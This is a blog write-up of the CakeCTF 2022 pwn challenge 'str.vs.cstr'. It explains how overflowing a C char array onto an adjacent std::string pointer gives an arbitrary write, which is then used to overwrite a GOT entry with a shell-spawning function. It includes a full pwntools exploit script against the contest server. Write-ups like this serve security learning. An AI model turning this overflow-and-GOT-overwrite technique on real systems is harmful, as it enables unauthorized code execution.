Aynakeya's Blog

Kill My Emotion

[Pwn] str.vs.cstr

0x0 Introduction

Which do you like, C string or C++ string?

nc pwn1.2022.cakectf.com 9003

Files: str_vs_cstr_f088c31cd2d3c18483e24f38df724cad.tar.gz

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerability

In C++, string are dynamically allocated in the heap. So, it will appear as a pointer in the stack

There is a struct Test Exists in the stack and Program allow us to modify both c_str and str.

Therefore we can overwrite the address of _str using _c_str, and then we have a write anywhere.

1
2
char _c_str[0x20];
std::string _str;

Program is parial RELRO, therefore we can overwrite a function in GOT to win fucntion and get a shell.

1
2
3
4
5
6
7
private:
__attribute__((used))
void call_me() {
std::system("/bin/sh");
}

};

one thing to notice is C++ will replace last \n to a null bytes - make sure do not put extra bytes that may have effect on other data we don't want modify.

0x3 Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

exe = ELF("chall")
exe_rop = ROP(exe)
# libc = ELF("libc.so.6")
# ld = ELF("./ld-2.27.so")

context.binary = exe
# context.log_level = 'DEBUG'

def log_print(*msg):
log.info(" ".join(map(str,msg)))
lp = log_print
def start():
if args.LOCAL:
r = process([exe.path])
if args.R2:
input("Wait r2 attach")
else:
r = remote("pwn1.2022.cakectf.com", 9003)
return r


io = start()
io.sendlineafter(b"choice: ",b'3')
io.sendlineafter(b"str: ",b'A'*8)
io.sendlineafter(b"choice: ",b'1')
io.sendlineafter(b"c_str: ",flat({
0x20:0x00404028
}))

io.sendlineafter(b"choice: ",b'3')
io.sendlineafter(b"str: ",b'\xde\x16\x40\x00\x00\x00')

io.sendlineafter(b"choice: ",b'1')
io.sendlineafter(b"str: ",flat({
0x20: 0x0404a00,
0x28: 8,
0x40:0
},length=0x50))
io.sendlineafter(b"choice: ",b'3')
io.sendlineafter(b"str: ",b'A'*0x20)
io.sendlineafter(b"choice: ",b'5')
io.interactive()
0%